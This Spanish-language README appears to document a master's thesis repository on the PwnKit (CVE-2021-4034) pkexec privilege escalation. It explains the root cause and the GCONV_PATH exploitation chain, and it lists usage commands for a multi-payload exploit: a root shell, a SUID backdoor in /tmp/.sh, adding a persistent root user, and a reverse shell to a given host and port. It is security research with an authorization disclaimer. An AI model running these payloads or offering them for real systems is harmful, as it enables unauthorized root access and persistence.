
Investigación avanzada de escalada de privilegios en Linux sobre CVE-2021-4034 (PwnKit). Incluye un exploit optimizado con 7 modos de carga útil polimórficos (Interactive Shell, Backdoor, User Creation, Reverse Shell, etc). Pieza de portafolio centrada en lógica de corrupción de memoria, manipulación de variables de entorno y técnicas anti-forenses.
Vulnerabilidad de corrupción de memoria en la utilidad pkexec de polkit
Escalada de privilegios local → root mediante escritura fuera de límites
Afectado: polkit 0.105-31 y anteriores · Parche: polkit 0.105-33 (enero de 2022)
Shell interactiva de root obtenida a través de CVE-2021-4034 - PwnKit
Este repositorio contiene mi investigación de Tesis de Máster sobre CVE-2021-4034, una vulnerabilidad de Escalada de Privilegios Local de gravedad Alta (CVSS 7.8) en la utilidad pkexec de polkit, comúnmente conocida como PwnKit.
La vulnerabilidad se origina por una escritura fuera de límites en la lógica de procesamiento de argumentos de pkexec. Cuando pkexec se ejecuta con argv vacío o manipulado, lee y escribe más allá de los límites del arreglo argv dentro del arreglo envp, permitiendo a un usuario local no privilegiado inyectar variables de entorno maliciosas que posteriormente se cargan como una biblioteca compartida, ejecutando código arbitrario con privilegios de root.
| Aspecto | Descripción |
|---|
CVE-2021-4034/
├── README.md # Este archivo
├── LICENSE # Licencia MIT
│
├── exploit/
│ └── pwnkit.py # Exploit avanzado con múltiples payloads
│
└── docs/
├── screenshots/ # Demostraciones de explotación
│ ├── 01-pwnkit-shell.png
│ ├── 02-pwnkit-id.png
│ ├── 03-pwnkit-whoami.png
│ ├── 04-pwnkit-backdoor.png
│ ├── 05-pwnkit-add-user.png
│ ├── 06-pwnkit-reverse.png
│ └── 07-pwnkit-custom.png
│
└── analysis/
├── 01-root-cause.md # Análisis de causa raíz de la vulnerabilidad
├── 02-exploitation-chain.md # Desglose de la cadena de explotación
└── 03-timeline.md # Cronograma del CVE
pkexec --version muestra 0.105 o anterior)apt install gcc)# Shell interactiva de root (por defecto)
python3 exploit/pwnkit.py -p shell
# Verificar contexto de ejecución
python3 exploit/pwnkit.py -p whoami
# Ejecutar un comando personalizado como root
python3 exploit/pwnkit.py -p custom -c "id"
# Crear backdoor SUID en /tmp/.sh
python3 exploit/pwnkit.py -p backdoor_suid
# Añadir usuario root persistente
python3 exploit/pwnkit.py -p add_root_user --username backdoor --password mipassword
# Reverse shell
python3 exploit/pwnkit.py -p reverse_shell --lhost 192.168.1.10 --lport 4444
pkexec procesa su propio argv para localizar el programa a ejecutar. Cuando se invoca con argc == 0 (vector de argumentos vacío), la comprobación de límites sobre argv falla silenciosamente. La posterior lectura fuera de límites trata a envp[0] como argv[1], y la escritura fuera de límites de vuelta a envp permite a un atacante reemplazar una variable de entorno con una ruta manipulada. Cuando pkexec llama posteriormente a g_printerr(), carga GCONV_PATH desde el entorno ahora controlado por el atacante, cargando una biblioteca compartida proporcionada por el atacante con privilegios de root.
argc == 0 → argv[1] lee envp[0]
argv[1] = "GCONV_PATH=." (escribe de vuelta en envp)
pkexec carga ./pwnkit.so (biblioteca compartida controlada por el atacante)
gconv_init() se ejecuta como root
1. Crear argv = { NULL } → argc = 0, desencadena acceso fuera de límites
2. Establecer envp[0] = "pwnkit.so:."
3. Establecer envp[1] = "PATH=GCONV_PATH=."
4. pkexec escribe fuera de límites "pwnkit.so:." en envp[0] como si fuera argv[1]
5. pkexec resuelve GCONV_PATH=. y carga gconv-modules
6. gconv-modules mapea el conjunto de caracteres "PWNKIT" a pwnkit.so
7. Se llama a pwnkit.so:gconv_init() con privilegios de root
8. El payload se ejecuta (shell / backdoor / reverse shell / etc.)







Todas las pruebas se realizaron en una máquina virtual VirtualBox aislada con Ubuntu 20.04 LTS y polkit 0.105-26 (vulnerable), sin exposición a la red.
| Documento | Descripción |
|---|---|
| Análisis de causa raíz | Escritura fuera de límites en el procesamiento de argumentos de pkexec |
Esta investigación es parte de mi Tesis de Máster en Ciberseguridad (UCAM — Campus Internacional de Ciberseguridad), analizando vulnerabilidades N-Day en múltiples entornos.
Este CVE representa el vector de escalada de privilegios local en Linux dentro de la tesis, demostrando:
Palabras clave: LPE · Polkit · pkexec · SUID · GCONV_PATH · CVE-2021-4034 · PwnKit
Annais Molina (devianntsec) — Estudiante de Máster en Ciberseguridad
Licencia MIT — ver LICENSE
Este repositorio se proporciona únicamente con fines educativos y de investigación en seguridad, como parte de una Tesis de Máster académica. Todas las pruebas se realizaron en máquinas virtuales aisladas sin exposición a la red. Úselo solo en sistemas de su propiedad o para los que tenga autorización escrita explícita para realizar pruebas. El uso no autorizado contra sistemas es ilegal y puede dar lugar a un proceso penal.
| Exploit multipayload | Wrapper en Python con 6 modos de payload: shell, id, backdoor y reverse shell |
| Configuración automatizada del entorno | Construcción automática de GCONV_PATH y configuración de gconv-modules |
| Módulos de post-explotación | Backdoor SUID, creación de usuario root y ejecución de comandos personalizados |
| Documentación académica | Análisis de causa raíz, cadena de explotación y cronograma de la vulnerabilidad |
| Payload | Descripción | Salida |
|---|
shell | Abre /bin/sh interactivo como root | Shell interactiva |
id | Escribe la salida de id y whoami en /tmp/pwnkit_id.txt | Archivo |
whoami | Escribe la verificación de UID/eUID en /tmp/pwnkit_root_test | Archivo |
backdoor_suid | Crea una copia SUID de bash en /tmp/.sh | Backdoor persistente |
add_root_user | Agrega un usuario personalizado a /etc/passwd | Acceso persistente |
reverse_shell | Conecta de vuelta al atacante mediante Python | Shell remota |
custom | Ejecuta cualquier comando como root | Salida estándar / archivo |
| Componente | Valor | Notas |
|---|
| Binario vulnerable | /usr/bin/pkexec | SUID root |
| Condición de activación | argc == 0 | argv vacío |
| Primitiva de escritura | Escritura fuera de límites en envp | A través de argv[argc-1] |
| Mecanismo de carga | GCONV_PATH + gconv-modules | iconv estándar de glibc |
| Contexto de ejecución | gconv_init() en biblioteca compartida | Se ejecuta como EUID 0 |
| Versiones afectadas | polkit ≤ 0.105-31 | Todas las distribuciones Linux principales |
| Payload | Resultado | Notas |
|---|
shell | ✅ Shell de root obtenida | Acceso interactivo inmediato |
id | ✅ uid=0(root) confirmado | Salida en /tmp/pwnkit_id.txt |
whoami | ✅ root confirmado | UID/eUID = 0 |
backdoor_suid | ✅ Bit SUID establecido en /tmp/.sh | Persistente tras el exploit |
add_root_user | ✅ Usuario personalizado creado | Sobrevive al reinicio |
reverse_shell | ✅ Conexión establecida | Reverse shell en Python funcionando |
custom | ✅ Ejecución de comandos arbitrarios | Contexto de root completo |
| Cadena de explotación |
| Desglose paso a paso de la inyección GCONV_PATH |
| Cronograma del CVE | Cronología de descubrimiento, divulgación y parche |